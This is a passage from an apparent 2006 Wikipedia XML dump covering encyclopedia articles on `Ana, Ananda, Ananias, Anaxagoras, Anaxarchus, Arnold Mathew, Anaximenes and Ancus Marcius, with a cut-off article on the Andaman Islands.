Whilst `Ana has thus retained its name for forty-one centuries the site is variously described. Most early writers concur in placing it on an island; so [[Assur-nasir-pal]], [[Isidore of Seville|Isidore]], [[Ammianus Marcellinus]], [[Ibn Serapion]], [[al-Istakri]], [[Abulfeda]] and [[al-Karamani]]. Ammianus (lib. 24, c. 2) calls it a munimentum, Theophylactus Simocatta (iv. 10, v. 1, 2) to 'Anathon frourion, [[Zosimus]] (iii. 14) a frourion, opp. Fathusai, which may be the Beth(th)ina of Ptolemy (v. 19).&lt;sup&gt;1&lt;/sup&gt; Leonhart Rauwolff, in AD 1574, found it &quot;divided ... into two towns,&quot; the one &quot;Turkish,&quot; &quot;so surrounded by the river, that you cannot go into it but by boats,&quot; the other, much larger, on the Arabian side of the river.&lt;sup&gt;2&lt;/sup&gt; GA Olivier in the beginning of the 19th century describes it as a long street (5 or 6 m. long), parallel to the right bank of the Euphrates--some 100 yards from the water's edge and 300 to 400 paces from the rocky barrier of the Arabian desert--with, over against its lower part, an island bearing at its north end the ruins of a fortress (p. 451).

This southernmost town of [[Mesopotamia]] proper (Gezira) must have shared the chequered history of that land. Of `Ana's fortunes under the early Babylonian 
empire the records have not yet been unearthed; but in a letter dating from the third millennium BC, six men of Hanat (Ha-na-atK1) are mentioned in a statement as to certain disturbances which had occurred in the sphere of the Babylonian 
Resident of Suhi, which would include the district of `Ana.

How `Ana fared at the hands of the Mitanni and others is unknown.  The suggestion that [[Amenhotep I|Amenophis (Amenhotep) I]]. ([[16th century BC]]) refers to it is improbable; but we seem to be justified in holding `Ana to be the town &quot;in the middle of the Euphrates&quot; opposite (ina put) to which 
Assur-nasir-pal halted in his campaign of 879 BC. The supposed reference to `Ana in the speech put into the mouth of [[Sennacherib]]'s messengers to Hezekiah (2 Kings xix. 13, Is. xxxvii. 13) is exceedingly improbable.  The town may be mentioned, however, in four 7th century documents edited by [[Claude Hermann Walter Johns]].&lt;sup&gt;3&lt;/sup&gt;

It was at `Ana that the emperor Julian met the first opposition on his disastrous expedition against [[Iran|Persia]] (363), when he got possession of the place and transported the people; and there that Ziyad and Shureih with the advanced guard of `Ali's army were refused passage across the Euphrates (36/657) to join `Ali in Mesopotamia (Tabari i. 3261).

Later `Ana was the place of exile of the caliph Qaim (al-qaim bi-amr-illah) when [[Basisiri]] was in power (450/1058.) In the 14th century `Ana was the seat of a 
Catholicos, primate of the Persians (Marin Sanuto). In 1610 [[Della Valle]] found a [[Scotland|Scot]], George Strachan, resident at `Ana (to study Arabic) as physician to the amir (i. 671-681).  In 1835 the steamer &quot;Tigris&quot; of the English Euphrates expedition went down in a hurricane just above `Ana, near where Julian's force had suffered from a similar storm.  Della Valle described `Ana as the chief Arab town on the Euphrates, an importance which it owes to its position on one of the routes from the west to [[Baghdad]]; Texeira said that the power of its amir extended to [[Palmyra]] (early 17th century); but Olivier found the ruling prince with only twenty-five men in his service, the town becoming more depopulated every day from lack of protection from the Arabs of the desert.  
[[Von Oppenheim]] (1893) reported that Turkish troops having been recently stationed at the place, it had no longer to pay blackmail (huwwa) to the Arabs.  [[FR Chesney]] reported some 1800 houses, 2 mosques and 16 water-wheels; WF Ainsworth (1835) reported the Arabs as inhabiting the northwestern part of the town, the Christians the centre, and the Jews the southeast; Della Valle (1610) found some sun-worshippers still there.

Modern `Ana lies from west to east on the right bank along a bend of the river just before it turns south towards Hit, and presents an attractive appearance. It extends, chiefly as a single street, for several miles along a narrow strip 
of land between the river and a ridge of rocky hills. The houses are separated from one another by fruit gardens. `Ana marks the boundary between the olive (north) and the date (south). Arab poets celebrated its wine (Yuqut, iii. 593 
f.), and Mustaufi (8/14th century) tells of the fame of its palm-groves. In the river, facing the town, is a succession of equally productive islands. The most easterly contains the ruins of the old castle, whilst the remains of the ancient Anatho extend from this island for about 2 miles down the left bank. Coarse cloth is almost the only manufacture. 

===BIBLIOGRAPHY===

In addition to the authorities cited above may be mentioned: [[Guillaume-Antoine Olivier|G. A. Olivier]], ''Voyage dans l'empire othoman'', etc., iii. 450-459 (1807); Carl Ritter, ''Erdkunde von Asien'', vii. b., pp. 716- 726 (1844); W. F. Ainsworth, ''Euphrates Expedition'', i. 401-418 (1888).

&lt;sup&gt;1&lt;/sup&gt; Steph. Byz. (sub Turos) says that [[Arrian]] calls Anatha Turos. 

&lt;sup&gt;2&lt;/sup&gt; Texeira (1610) says that &quot;Anna&quot; lay on both banks of the river, and so Della Valle (i. 671). 

&lt;sup&gt;3&lt;/sup&gt; Ass. Deeds and Doc. nos. 23, 168, 228, 385. The characters used are DIS TU, which may mean Ana-tu. 

==References==
*{{1911}}</text>
    </revision>
  </page>
  <page>
    <title>Ananda</title>
    <id>1735</id>
    <revision>
      <id>40534883</id>
      <timestamp>2006-02-21T06:47:54Z</timestamp>
      <contributor>
        <ip>138.16.38.54</ip>
      </contributor>
      <text xml:space="preserve">:''Note: the word'' '''Ananda''' ''means [[Bliss (feeling)|bliss]] in [[Sanskrit|Sanskrit language]] and is quite often part of a [[Hinduism|Hindu]] [[Sanyasa|monastic]] name.''
{{buddhism}}
'''Ananda''' (Ch:阿難) was one of many principal disciples of the [[Shakyamuni Buddha|Buddha]], a devout attendant and was renowned as the ''Guardian of the Dharma.''

Ananda was the first cousin of the Buddha, and 
was devotedly attached to him.  Once he entered the Order 
in the second year of the Buddha's ministry, he became one 
of his personal attendants, accompanying him on most of his 
wanderings and being the interlocutor in many of the recorded 
dialogues.  He is the subject of a special [[panegyric]] delivered 
by the Buddha just before his death ([[Mahaparinibbana Sutta]], 
[[Digha Nikaya]] 16); but it is the panegyric of an unselfish 
man, kindly, thoughtful for others and popular; not of the 
intellectual man, versed in the theory and practice of the 
Buddhist system of self-culture.  So in the long list of 
the disciples given in the [[Anguttara]] (i. xiv.) where each 
of them is declared to be the chief in some gift, Ananda is 
mentioned five times (which is more often than any other), 
but it is as chief in conduct and in service to others and 
in power of memory, not in any of the intellectual powers 
so highly prized in the community.  This explains why he had 
not attained to arahatship; and in the earliest account of 
the convocation said to have been held by five hundred of 
the principal disciples immediately after the Buddha's death, 
he was the only one who was not an [[arahat]] ([[Cullavagga]], 
book xi.).  In later accounts this incident is explained 
away.  Thirty-three verses ascribed to Ananda are preserved 
in a collection of lyrics by the principal male members of the order ([[Theragatha]], 1017-1050).  They 
show a gentle and reverent but simple spirit.

Ananda is often called the disciple of the Buddha who &quot;heard much&quot;; because he attended personally upon the Buddha and often traveled with him, Ananda overheard and memorized many of the discourses delivered by the Buddha to various audiences.  At the [[Buddhist councils|First Council]], convened shortly after the death of the Buddha, Ananda was called upon to recite many of the discourses that later became the [[Sutta Pitaka]] of the [[Pāli Canon]].

Despite his long association and close proximity to the Buddha, Ananda is depicted as being slow to develop along the Buddhist path.  Prior to the First Council, it was proposed that Ananda not be permitted to attend on the grounds that he was not yet an [[arhat]].  According to legend, this prompted Ananda to focus his efforts on the attainment of [[nibbana]], and he was able to reach the specified level of attainment before the calling of the conclave.  Ananda was, however, rebuked by the First Council for failing to request that the Buddha remain in the world for a longer period of time; in the [[Mahaparinibbana Sutta]], the Buddha is depicted dropping a number of hints to Ananda that he can remain in the world as long as is required if it is requested by one of his disciples.  Ananda fails to pick up on the intimation, and the Buddha soon after passes from the world.

In contrast to most of the figures depicted in the [[Pāli Canon]], Ananda is depicted as an imperfect, if sympathetic, figure.  He mourns the deaths of both [[Sariputta]], with whom he enjoyed a close friendship, and the [[Buddha]].  A verse of the [[Theragatha]] [http://www.accesstoinsight.org/canon/sutta/khuddaka/theragatha/thag-17-03-ao0.html] reveals his loneliness and isolation following the death of the Buddha.

In the [[Zen]] tradition, Ananda is considered to be the second Indian patriarch.  He is often depicted with the Buddha alongside [[Mahakashyapa]], the first Indian patriarch.

==External links==
*[http://ds.dial.pipex.com/town/avenue/xha71/powsample/images/127vb2.jpg Ananda with the Buddha and Subhuti]
*[http://www.acmuller.net/ddb Digital Dictionary of Buddhism] (log in with userID &quot;guest&quot;)

==See also==
* [[Ananda Mahidol]] &amp;ndash; King Rama VIII of [[Thailand]]

==References==
*{{1911}}


[[Category:disciples of the Buddha]]
[[Category:Zen Patriarchs]]

[[cs:Ánanda]]
[[de:Ananda]]
[[fr:Ananda]]
[[ja:阿難]]
[[nl:Ananda]]
[[sv:Ananda]]
[[vi:A-nan-đà]]</text>
    </revision>
  </page>
  <page>
    <title>Ananias</title>
    <id>1736</id>
    <revision>
      <id>41482769</id>
      <timestamp>2006-02-27T17:39:36Z</timestamp>
      <contributor>
        <ip>209.60.40.210</ip>
      </contributor>
      <text xml:space="preserve">'''Ananias''' is the [[Greek language|Greek]] form of '''Hananiah''' (Hebrew for &quot;Yahweh is gracious&quot;), or '''Ananiah''', a name occurring several times in the [[Old Testament]] and [[Apocrypha]] ([[Book of Nehemiah|Nehemiah]] 3:23, [[Books of Chronicles|1 Chronicles]] 15:23, [[Book of Tobit|Tobit]] 5:12. etc.), and three times in the [[New Testament]]. Special mention need be made only of the bearers of the name in the New Testament:

#A member of the first Christian community, who dropped dead suddenly after attempting to deceive the Holy Spirit by withholding part of the profit from the sale of a piece of land. A few moments later his wife, Sapphira also lied and also suffered the same fate.  They both lied to Peter about the amount they had received and individually dropped dead upon hearing Peter's rebuke.([[Acts of the Apostles|Acts]] 5:1-10; cf. [[Book of Joshua|Joshua]] 7:1 ff.). See [[Ananias and Sapphira]].
#'''Saint Ananias''' (d. ''c.'' [[70]]), A disciple at [[Damascus]] who figures in the story of the conversion and [[baptism]] of [[Paul of Tarsus|Paul]] (Acts 9:10-17, 22:12-16.) 
#Son of Nedebaios ([[Josephus]], ''Antiquites'' xx. 5. 2), a high priest who presided during the trial of Paul at [[Jerusalem]] and [[Caesarea Palaestina|Caesarea]] (Acts 23:2, 24:1-5). He officiated as high priest from about AD [[47]] to [[59]]. Quadratus, governor of [[Syria (Roman province)|Syria]], accused him of being responsible for acts of violence. He was sent to [[Rome]] for trial (AD [[52]]), but was acquitted by the emperor [[Claudius]]. Being a friend of the Romans, he was murdered by the people at the beginning of the Jewish war. 

==References==
*{{1911}}
[[Category: Saints]]
[[de:Ananias]]
[[nl:Ananias]]</text>
    </revision>
  </page>
  <page>
    <title>Anaxagoras</title>
    <id>1737</id>
    <revision>
      <id>40042542</id>
      <timestamp>2006-02-17T18:39:40Z</timestamp>
      <contributor>
        <ip>82.76.154.154</ip>
      </contributor>
      <text xml:space="preserve">{{dablink|This article is about the philosopher Anaxagoras.  For the mythical Greek King Anaxagoras of [[Argos]], see [[Anaxagoras (mythology)]].}}

[[Image:Anaxagoras.png|thumb|300px|Anaxagoras]]'''Anaxagoras''' (c. [[500 BCE]]&amp;ndash;[[428 BCE]]) was a [[Pre-Socratic philosophy|pre-Socratic]] [[Greece|Greek]] [[philosopher]] who was likely born about 500 BCE (Apollodorus ap. Diog.  Laert. ii. 7.).  He was a member of what is now often called the [[Ionian School]] of philosophy.

At his native town of [[Clazomenae]] in [[Asia Minor]], he appears to have had some amount of property and prospects of political influence; he supposedly surrendered both of these out of a fear that they would hinder his search for knowledge.  Although a Greek, he was probably a Persian citizen, perhaps even a soldier of the Persian army since Clazomenae was suppressed during the [[Ionian Revolt]].  

In early manhood (c. 464-462 BCE) he went to [[Athens]], which was rapidly becoming the centre of Greek culture.  There he is said to have remained for thirty years.  [[Pericles]] learned to love and admire him, and the poet [[Euripides]] derived from him an enthusiasm for science and humanity.  Some authorities assert that even [[Socrates]] was among his disciples.

Anaxagoras brought philosophy and the spirit of scientific inquiry from [[Ionia]] to [[Athens]].  His observations of the celestial bodies led him to form new theories of the universal order; he attempted to give a scientific account of [[eclipse]]s, [[meteor]]s, [[rainbow]]s and the [[sun]], which he described as a mass of blazing metal, larger than the [[Peloponnesus]]. The heavenly bodies, he asserted, were masses of stone torn from the earth and ignited by rapid rotation. However, these theories brought him into collision with the popular faith.
  
Anaxagoras was arrested by his friend Pericles' political opponents on a charge of contravening the established [[dogma]]s of religion (some say the charge was one of [[Medism]]), and it required all the eloquence of Pericles to secure his release.  Even so he was forced to retire from Athens to Lampsacus in Ionia (434-433 BCE), where he died about [[428 BCE]].  Citizens of Lampsacus erected an altar to Mind and Truth in his memory, and observed the anniversary of his death for many years afterward.

Anaxagoras wrote a book of philosophy, but only fragments of the first part of this have survived through the preservation of [[Simplicius of Cilicia]] (6th century CE).

== Cosmological theory ==
All things have existed from the beginning.  But originally they existed in infinitesimally small fragments of themselves, endless in number and inextricably combined.  All things existed in this mass, but in a confused and indistinguishable form.  There were the seeds (''spermata'') or miniatures of corn and flesh and gold in the primitive mixture; but these parts, of like nature with their wholes (the ''omoiomere'' of [[Aristotle]]), had to be eliminated from the complex mass before they could receive a definite name and character.

Thought arranged the segregation of like from unlike; ''panta chremata en omou eita nous elthon auta diekosmese''.  This peculiar thing, called Thought (''nous''), was no less illimitable than the chaotic mass, but, unlike the ''[[logos]]'' of [[Heraclitus]], it stood pure and independent (''mounos ef eoutou''), a thing of finer texture, alike in all its manifestations and everywhere the same.  This subtle agent, possessed of all knowledge and power, is especially seen ruling in all the forms of life. 
 
Thought causes motion.  It rotated the primitive mixture, starting in one corner or point, and gradually extended till it gave distinctness and reality to the aggregates of like parts, working something like a centrifuge, and eventually creating the known cosmos.  But even after it had done its best, the original intermixture of things was not wholly overcome.  No one thing in the world is ever abruptly separated, as by the blow of an axe, from the rest of things.  

It is noteworthy that Aristotle accuses Anaxagoras of failing to differentiate between ''nous'' and ''psyche'', while Socrates ([[Plato]], ''Phaedo'', 98 B) objects that his ''nous'' is merely a ''[[deus ex machina]]'' to which he refuses to attribute design and knowledge. 

Anaxagoras proceeded to give some account of the stages in the process from original chaos to present arrangements.  The division into cold mist and warm ether first broke the spell of confusion.  With increasing cold, the former gave rise to water, earth and stones.  The seeds of life which continued floating in the air were carried down with the rains and produced vegetation.  Animals, including man, sprang from the warm and moist clay.  If these things be so, then the evidence of the senses must be held in slight esteem.  We seem to see things coming into being and passing from it; but reflection tells us that decease and growth only mean a new aggregation (sugkrisis) and disruption (''diakrisis'').  Thus Anaxagoras distrusted the senses, and gave the preference to the conclusions of reflection.  Thus he maintained that there must be blackness as well as whiteness in snow; how otherwise could it be turned into dark water? 

Anaxagoras marked a turning-point in the history of philosophy.
With him speculation passes from the colonies of Greece to settle at Athens.  By the theory of minute constituents of things, and his emphasis on mechanical processes in the formation of order, he paved the way for the atomic theory.  However, his enunciation of the order that comes from reason suggested the theory that nature is the work of design.

The conception of thought causing movement in the world passed from him to Aristotle, who postulated a [[Prime mover]].

{{Presocratics}}

==References==
*{{1911}}

==External links==

* {{MacTutor Biography|id=Anaxagoras}}

[[Category:500 BC births]]
[[Category:428 BC deaths]]
[[Category:Presocratic philosophers]]
[[Category:Ancient philosophers]]

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[[sr:Анаксагора]]
[[fi:Anaksagoras]]
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[[zh:阿那克萨哥拉]]</text>
    </revision>
  </page>
  <page>
    <title>Anaxarchus</title>
    <id>1738</id>
    <revision>
      <id>29149404</id>
      <timestamp>2005-11-24T18:11:49Z</timestamp>
      <contributor>
        <username>Tomisti</username>
        <id>348887</id>
      </contributor>
      <minor />
      <comment>+fi</comment>
      <text xml:space="preserve">'''Anaxarchus''' (flourished around [[340 BC]]), a [[Greece|Greek]] [[philosopher]] of the school of [[Democritus]], was born at [[Abdera, Thrace|Abdera]] in [[Thrace]].

He was the companion and friend of [[Alexander the Great]] in his Asiatic campaigns. According to [[Diogenes Laertius]] (Lives 9.10.2), in response to Alexander's claim to have been the son of Zeus-Ammon, Anaxarchus pointed to his bleeding wound and remarked, &quot;See the blood of a mortal, not [[ichor]], such as flows from the veins of the immortal gods.&quot;

[[Plutarch]] tells a story that at [[Bactra]], in [[327 BC]] in a debate with [[Callisthenes]], he advised all to worship Alexander as a god even during his lifetime, is with greater probability attributed to the Sicilian [[Cleon]].

Diogenes Laertius (Lives 9.10.3) also says that [[Nicocreon]], the tyrant of [[Cyprus]], commanded him to be pounded to death in a mortar, and that he endured this torture with fortitude and [[Cicero]] relates the same story.

His philosophical doctrines are not known, though some have inferred from the epithet ''eudaimonikos'' (&quot;fortunate&quot;), usually applied to him, that he held the end of life to be ''[[eudaimonia]].''

[[Category:Hellenistic philosophers]]

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[[fi:Anaksarkhos]]</text>
    </revision>
  </page>
  <page>
    <title>Ancyra</title>
    <id>1740</id>
    <revision>
      <id>15900205</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Ankara]]
</text>
    </revision>
  </page>
  <page>
    <title>Arnold Mathew</title>
    <id>1741</id>
    <revision>
      <id>34680794</id>
      <timestamp>2006-01-10T23:50:05Z</timestamp>
      <contributor>
        <username>JamesReyes</username>
        <id>10465</id>
      </contributor>
      <text xml:space="preserve">{{dablink|See [[Matthew Arnold]], the poet.}}
----
[[Image:Arnoldmathew.jpg|thumb|right|Bishop Arnold Harris Mathew]]
'''Arnold Harris Mathew''' ([[1852]]&amp;ndash;[[1919]]) was the first [[Old Catholic Church|Old Catholic]] [[bishop]] in the [[United Kingdom]]. He was a suspended [[Roman Catholic]] priest who became the leading prelate of the Old Catholic sect in the U.K. 

Mathew was appointed in [[1908]] after the Utrecht Union of Churches approved the establishment of a mission in the U.K.  Mathew convinced the continental Old Catholic prelates that he had a significant following in the U.K. which, in fact, was a rather small following.  He was consecrated by Archbishop [[Gerardus Gul]] of Utrecht on [[April 28]], [[1908]]. Assisting Gul was Bishop J. J. Van Thiel of Haarlem, Bishop N. B. P. Spit of Deventer and Bishop J. Demmel of Bonn, Germany. 

He then returned to England and eventually raised a number of men to the episcopacy himself, including two former Catholic priests, Howarth and Beale, who had been excommunicated by the Bishop of Nottingham for embezzling. Mathew then sent documents to [[Pope Pius X]] attesting to the consecrations.  Upon receipt of these documents, Pope Pius X published the ''Bull Cravi Iamdiu Scandalo'' in which he excommunicated Mathew and condemned him as a &quot;pseudo-bishop&quot; and declared him ''vitandus'', a term in church law which meant that Catholics were subject to censure if they had anything to do with Mathew. Pius X also extended his sentence of excommunication to include those who had been consecrated by Mathew.

On [[December 29]], [[1910]] Mathew declared his autonomy from the continental Old Catholics due to disagrements with certain practices and disciplines that Mathew felt deviated from Catholic tradition.

Mathew later consecrated Prince Rudolph Edward de Landes Berghes, an [[Austrian]] nobleman, in [[1913]] for work in [[Scotland]]. 

In [[January 1916]], he announced that he would be reconciled to the [[Holy See]], but changed his mind two months later. He then sought union with the [[Church of England]] but the [[Archbishop of Canterbury]] refused to give Mathew any position as an Anglican clergyman. Mathew retired to a village in the countryside and contented himself with assisting at services in an Anglican parish church as a layman.
 
By this time, he had been deserted by his wife and abandoned by virtually all the priests and bishops he had made. He died suddenly in [[December 1919]] and was buried as an Anglican layman. His episcopal seal and other documents disappeared after his death.

[[Category:Old Catholic bishops|Mathew, Arnold Harris]]
[[Category:1852 births|Mathew, Arnold Harris]]
[[Category:1919 deaths|Mathew, Arnold Harris]]</text>
    </revision>
  </page>
  <page>
    <title>Anastasius I</title>
    <id>1742</id>
    <revision>
      <id>15900207</id>
      <timestamp>2005-06-14T13:10:30Z</timestamp>
      <contributor>
        <username>Panairjdde</username>
        <id>2400</id>
      </contributor>
      <minor />
      <text xml:space="preserve">*[[Pope Anastasius I]] -- Pope from 399-401
*[[Anastasius I (emperor)|Anastasius I]] -- (c. 430-518) Byzantine emperor

{{disambig}}

[[de:Anastasius I.]]
[[es:Anastasio I]]
[[fr:Anastase Ier]]</text>
    </revision>
  </page>
  <page>
    <title>Anastasius II</title>
    <id>1743</id>
    <revision>
      <id>15900208</id>
      <timestamp>2005-05-11T20:26:38Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>rm category as per cfd</comment>
      <text xml:space="preserve">*[[Pope Anastasius II]] -- Pope from 496-498
*[[Anastasius II of the Byzantine Empire]] -- (d. 721) Roman emperor in the East
*[[Anastasius II of Antioch]] -- Greek Orthodox Patriarch of Antioch

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Anastasius III</title>
    <id>1744</id>
    <revision>
      <id>15900209</id>
      <timestamp>2002-04-06T14:14:34Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Pope Anastasius III]]</text>
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  </page>
  <page>
    <title>Anastasius IV</title>
    <id>1745</id>
    <revision>
      <id>15900210</id>
      <timestamp>2002-04-25T17:25:33Z</timestamp>
      <contributor>
        <username>Eclecticology</username>
        <id>372</id>
      </contributor>
      <comment>change to redirect</comment>
      <text xml:space="preserve">#redirect [[Pope Anastasius IV]]
</text>
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  </page>
  <page>
    <title>Anaximenes of Lampsacus</title>
    <id>1746</id>
    <revision>
      <id>28108524</id>
      <timestamp>2005-11-12T11:41:58Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Anaximenes of Lampsacus''' (fl. [[380 BC|380]] - [[320 BC]]), [[Hellenistic Greece|Greek]] [[rhetoric]]ian and historian, was a favourite of [[Alexander the Great]], whom he accompanied in his Persian campaigns.  He wrote histories of [[Greece]] and of [[Philip of Macedon]], and an epic on Alexander (fragments in Muller, ''Scriptores Rerum Alexandri Magni''.) As a rhetorician, he was a determined opponent of 
[[Isocrates]] and his school.  The ''Rhetorica ad Alexandrum'' (&quot;Address to Alexander&quot;), traditionally included among the works of [[Aristotle]], is now generally admitted to be by Anaximenes, although some consider it a much later production.

==References==
*{{1911}}

[[hu:Anaximenész (író)]]</text>
    </revision>
  </page>
  <page>
    <title>Anastasius</title>
    <id>1747</id>
    <revision>
      <id>26556922</id>
      <timestamp>2005-10-26T20:40:40Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: de, eo, hu</comment>
      <text xml:space="preserve">'''Anastasius''' is part of the name of:

*[[Pope Anastasius]]:
**[[Pope Anastasius I]] -- Pope from 399-401
**[[Pope Anastasius II]] -- Pope from 496-498
**[[Pope Anastasius III]] -- Pope from 911-913
**[[Pope Anastasius IV]] -- Pope from 1153 to 1154
*[[Anastasius I of the Byzantine Empire]] (c. 430-518) -- Roman emperor
*[[Anastasius II of the Byzantine Empire]] (d. 721) -- Roman emperor in the East
*[[Anastasius (patriarch)|Anastasius]] -- [[Patriarch]] of [[Constantinople]] from 730-754
*[[Anastasius Bibliothecarius]] (c.810-879) -- [[librarian]] of the [[Church of Rome]], scholar and statesman
* [[Anton Alexander Graf von Auersperg]] (1806-1876) -- Austrian poet who wrote under the pseudonym of '''Anastasius Grün'''.

{{disambig}}

[[de:Anastasius]]
[[eo:Anastazio (vira nomo)]]
[[hu:Anasztáz]]</text>
    </revision>
  </page>
  <page>
    <title>Anaximenes of Miletus</title>
    <id>1748</id>
    <revision>
      <id>39235747</id>
      <timestamp>2006-02-11T19:20:24Z</timestamp>
      <contributor>
        <username>Schaengel89</username>
        <id>221783</id>
      </contributor>
      <text xml:space="preserve">[[Image:Anaximenes.png|thumb|right|180px|Anaximenes of Miletus]]
'''Anaximenes''' (in [[Greek language|Greek]]: &amp;#902;&amp;#957;&amp;#945;&amp;#958;&amp;#953;&amp;#956;&amp;#941;&amp;#957;&amp;#951;&amp;#962;) of Miletus ([[585 BC]] - [[525 BC]]) was a [[Greece|Greek]] [[philosopher]] from the latter half of the [[6th century BC|6th century]], probably a younger contemporary of [[Anaximander]], whose pupil or friend he is said to have been.  

He held that the [[Air (classical element)|air]], with its variety of contents, its universal presence, its vague associations in popular fancy with the phenomena of life and growth, is the source of all that exists.  Everything is air at different degrees of density, and under the influence of heat, which expands, and of cold, which contracts its volume, it gives rise to the several phases of existence.  The process is gradual, and takes place in two directions, as heat or cold predominates.  In this way was formed a broad disk of earth, floating on the circumambient air.  Similar condensations produced the sun and stars; and the flaming state of these bodies is due to the velocity of their motions. He states: 

&quot;Just as our soul, being air, holds us together, so do breath and air encompass the whole world.&quot;


What makes the three [[Miletus|milesic]] philsophers, [[Thales]], [[Anaximander]] and Anaximenes, stand out is that the theoretical human has become a reality. The way of thinking has in its basic form moved away from the mythological thinking (or ''mythos'') and into the domain of the theoretical thinking (or ''logos''). From now on it is about explaining the universal and the general. Everything in the universe can now be approached by the thoughts of humans. This notably influenced the Pythagoreans.
''See also:'' [[philosophy]]

== Reference ==
* {{1911}}

{{Presocratics}}

[[Category:585 BC births]]
[[Category:525 BC deaths]]
[[Category:Presocratic philosophers]]
[[Category:Ancient Greek philosophers]]
[[Category:Ancient Greek mathematicians]]

[[bg:Анаксимен]]
[[bn:মাইলেটাস-এর এনাক্সিমেনিস]]
[[bs:Anaksimen]]
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[[fr:Anaximène]]
[[gl:Anaxímenes de Mileto]]
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[[it:Anassimene di Mileto]]
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[[ru:Анаксимен]]
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[[zh:阿那克西美尼]]</text>
    </revision>
  </page>
  <page>
    <title>Ancus Marcius</title>
    <id>1749</id>
    <revision>
      <id>41860781</id>
      <timestamp>2006-03-02T05:07:25Z</timestamp>
      <contributor>
        <username>Elwikipedista</username>
        <id>90304</id>
      </contributor>
      <comment>[[es:Anco Marcio]]</comment>
      <text xml:space="preserve">'''Ancus Marcius''' (r. [[640 BC]]-[[616 BC]]), fourth of the [[Kings of Rome]], and possibly legendary.  Like [[Numa Pompilius|Numa]], his reputed grandfather, he was a friend of peace and religion, but was obliged to make war to defend his territories. He conquered the [[Latin_(disambiguation) | Latins]], and a number of them he settled on the [[Aventine Hill]] formed the origin of the [[Plebeians]]. He fortified the [[Janiculum]], threw a wooden bridge across the [[Tiber]], the [[pons sublicius]], founded the port of [[Ostia]], established salt-works and built a prison which was founded in 625 B.C. and was used to hold people until they decided what to do with them. Before this time, a popular punishment was to exile people.  

Ancus Marcius is merely a duplicate of Numa, as is shown by his second name, Numa Marcius, the confidant and pontifex of Numa, being no other than [[Numa Pompilius]] himself, represented as priest.  The identification with Ancus is shown by the legend which makes the latter a bridge-builder (pontifex), the constructor of the first wooden bridge over the Tiber. It is in the exercise of his priestly functions that the resemblance is most clearly shown. Like Numa, Ancus died a natural death. He was succeeded by [[Lucius Tarquinius Priscus]].  

==References==
*{{1911}}

{{start box}}
{{succession box|title=[[King of Rome]]|before=[[Tullus Hostilius]]|after=[[Tarquinius Priscus]]|years=641&amp;ndash;616}}
{{end box}}

[[Category:616 BC deaths]]
[[Category:Ancient Romans]]
[[Category:Roman Kingdom]]

[[de:Ancus Marcius]]
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  </page>
  <page>
    <title>Andaman Islands</title>
    <id>1750</id>
    <revision>
      <id>39665817</id>
      <timestamp>2006-02-15T00:57:15Z</timestamp>
      <contributor>
        <username>Khoikhoi</username>
        <id>657950</id>
      </contributor>
      <comment>upload the images yourself - don't add links to your own website</comment>
      <text xml:space="preserve">[[Image:Andamanen(Satellitenaufnahme).jpg|right|thumb|250px|Satellite photo of the Andaman Islands]]

The '''Andaman Islands''' are a group of [[island]]s in the [[Bay of Bengal]], and are part of the [[Andaman and Nicobar Islands]] [[Union Territory]] of [[India]]. [[Port Blair]] is the chief community on the islands, and the administrative center of the Union Territory. The Andaman Islands form a single [[Districts of India|administrative district]] within the Union Territory, the [[Andaman district]] (the [[Nicobar district]] was separated and established as a new district in [[1974]]). The [[population]] of the Andamans was 314,084 in 2001.

==Physical Geography==
There are approximately 550 islands in the group, 26 of which are inhabited. They are located 950 [[kilometre|km]] from the mouth of the [[Hooghly River]], 193 km from [[Cape Negrais]] in [[Myanmar]], the nearest point of the mainland, and 547 km from the northern extremity of [[Sumatra]]. The length of the island chain is 352 km and its greatest width is 51 km. The total land area of the Andamans is 6408 [[square kilometre|km&amp;sup2;]].

The five chief islands over a distance of 251 km, are known collectively as [[Great Andaman]]. These are from north to south, [[North Andaman]], [[Middle Andaman]], [[South Andaman]], [[Baratang]] and [[Rutland Island]]. Four narrow straits part these islands, [[Austin Strait]], between North and Middle Andaman, [[Homfray's Strait]] between Middle Andaman and Baratang, and the north extremity of South Andaman, [[Middle Strait|Middle (or Andaman) Strait]] between Baratang and South Andaman and [[Macpherson Strait]] between South Andaman and Rutland Island. Of these only the last is navigable by ocean-going vessels.

Together with the chief islands are, on the extreme north, [[Landfall Islands]], separated by the navigable [[Cleugh Passage]]; [[Interview Island]], separated by the navigable [[Interview Passage]], off the West coast of the Middle Andaman; the [[Labyrinth Island]] off the southwest coast of the South Andaman, through which is the navigable [[Elphinstone Passage]]; [[Ritchie's Archipelago|Ritchie's (or the Andaman) Archipelago]] off the East coast of South Andaman and Baratang, separated by the wide and safe [[Diligent Strait]] and intersected by [[Kwangtung Strait]] and the [[Tadma Juru]] (Strait). Little Andaman, roughly 42 km by 26 km, forms the southern extremity of the whole group and lies 50 km south of Rutland Island across the Manners Strait, the main shipping route between the Andamans and the [[Chennai|Madras]] coast. Besides these are a great number of islets lying off the shores of the main islands. 

The principal outlying islands include the [[North Sentinel]], a dangerous island of about 73 km&amp;sup2;, lying about 29 km off the west coast of the South Andaman. About 29 km west of the Andamans are the dangerous Western Banks and Dalrymple Bank, rising to within a few [[fathom]]s of the surface of the sea and forming, with the two [[Sentinel Islands]], the tops of a line of submarine hills parallel to the Andamans. 

